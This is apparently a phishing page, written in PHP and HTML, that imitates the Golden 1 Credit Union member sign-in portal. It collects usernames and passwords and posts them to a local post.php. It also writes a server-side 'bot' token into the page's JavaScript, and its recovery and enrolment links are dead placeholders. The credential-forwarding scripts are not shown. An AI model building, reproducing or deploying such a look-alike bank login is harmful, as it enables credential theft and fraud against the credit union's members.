<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@300;400;500;600;700&family=Playfair+Display:wght@400;500&display=swap" rel="stylesheet">
    <title>Golden 1 Credit Union</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --black:        #231f20;
            --black-mid:    #3a3536;
            --black-light:  rgba(35, 31, 32, 0.07);
            --yellow:       #ffce34;
            --yellow-dark:  #e6b820;
            --yellow-soft:  rgba(255, 206, 52, 0.12);
            --text-primary: #231f20;
            --text-secondary: #4a4446;
            --text-muted:   #8a8486;
            --border:       #e0dcdc;
            --bg:           #faf9f8;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'Montserrat', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--black);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 65% 55% at 15% 85%, rgba(255,206,52,0.22) 0%, transparent 65%),
                radial-gradient(ellipse 40% 35% at 85% 10%, rgba(255,206,52,0.08) 0%, transparent 60%);
            pointer-events: none;
        }

        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.06; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.12);
        }
        .panel-dots span:first-child { background: var(--yellow); }

        /* Golden leaf / sun rays art */
        .sun-art {
            position: relative; z-index: 1;
            margin-bottom: 52px;
            width: 72px; height: 72px;
        }
        .sun-art svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 600;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: var(--yellow); margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'Playfair Display', serif;
            font-size: clamp(26px, 2.8vw, 42px);
            font-weight: 400; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .login-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .login-logo { margin-bottom: 36px; }
        .login-logo img { height: 52px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 28px; }
        .login-heading h1 {
            font-family: 'Playfair Display', serif;
            font-size: 26px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 6px;
        }
        .login-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 600;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Montserrat', sans-serif;
            font-size: 14px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #c0bcbc; font-weight: 300; }
        .field input:focus {
            border-color: var(--black);
            box-shadow: 0 0 0 3px var(--yellow-soft);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label {
            display: flex; align-items: center; gap: 10px;
            font-size: 13px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--black); border-color: var(--black);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px;
            border: 2px solid var(--yellow);
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--yellow); color: var(--black);
            border: none; border-radius: 6px;
            font-family: 'Montserrat', sans-serif;
            font-size: 14px; font-weight: 700;
            letter-spacing: 0.04em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 10px;
        }
        .btn-signin:hover {
            background: var(--yellow-dark);
            box-shadow: 0 4px 18px rgba(255,206,52,0.45);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* Black rule */
        .black-rule {
            height: 2px;
            background: linear-gradient(90deg, var(--black), rgba(35,31,32,0.08));
            border-radius: 2px;
            margin-bottom: 24px;
        }

        /* ── Footer links ── */
        .login-links {
            display: flex; flex-direction: column; gap: 12px;
            padding-top: 20px; border-top: 1px solid var(--border);
        }
        .login-links a {
            font-size: 13px; color: var(--black);
            text-decoration: none; font-weight: 500;
            transition: color 0.15s; opacity: 0.7;
        }
        .login-links a:hover { opacity: 1; color: var(--yellow-dark); }
        .login-links a::after { content: ' →'; font-size: 11px; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <!-- Diagonal stripes -->
            <line x1="-100" y1="200" x2="700" y2="1000" stroke="white" stroke-width="40"/>
            <line x1="-100" y1="0"   x2="700" y2="800"  stroke="white" stroke-width="40"/>
            <line x1="-100" y1="400" x2="700" y2="1200" stroke="white" stroke-width="40"/>
            <!-- Circle accents -->
            <circle cx="500" cy="100" r="200" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="100" r="140" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="100" r="80"  fill="none" stroke="white" stroke-width="1"/>
        </svg>
    </div>

    <!-- Sun / golden rays emblem -->
    <div class="sun-art">
        <svg viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">
            <circle cx="36" cy="36" r="18" fill="rgba(255,206,52,0.25)" stroke="rgba(255,206,52,0.7)" stroke-width="1.5"/>
            <circle cx="36" cy="36" r="8"  fill="rgba(255,206,52,0.8)"/>
            <!-- Rays -->
            <g stroke="rgba(255,206,52,0.6)" stroke-width="2" stroke-linecap="round">
                <line x1="36" y1="6"  x2="36" y2="14"/>
                <line x1="36" y1="58" x2="36" y2="66"/>
                <line x1="6"  y1="36" x2="14" y2="36"/>
                <line x1="58" y1="36" x2="66" y2="36"/>
                <line x1="14" y1="14" x2="20" y2="20"/>
                <line x1="52" y1="52" x2="58" y2="58"/>
                <line x1="14" y1="58" x2="20" y2="52"/>
                <line x1="52" y1="20" x2="58" y2="14"/>
            </g>
        </svg>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Member Portal</div>
        <h2>Your golden future<br>starts here.</h2>
        <p>Sign in to manage your accounts, loans, and statements — Golden 1 Credit Union.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="login-card">

        <div class="login-logo">
            <img src="res/img/logo.svg" alt="Golden 1 Credit Union Logo">
        </div>

        <div class="login-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options">
                <label class="check-label">
                    <input type="checkbox"> Remember me
                </label>
                <label class="check-label">
                    <input type="checkbox"> Use token
                </label>
            </div>

            <button type="submit" class="btn-signin">Sign in</button>
            <div class="black-rule"></div>

            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>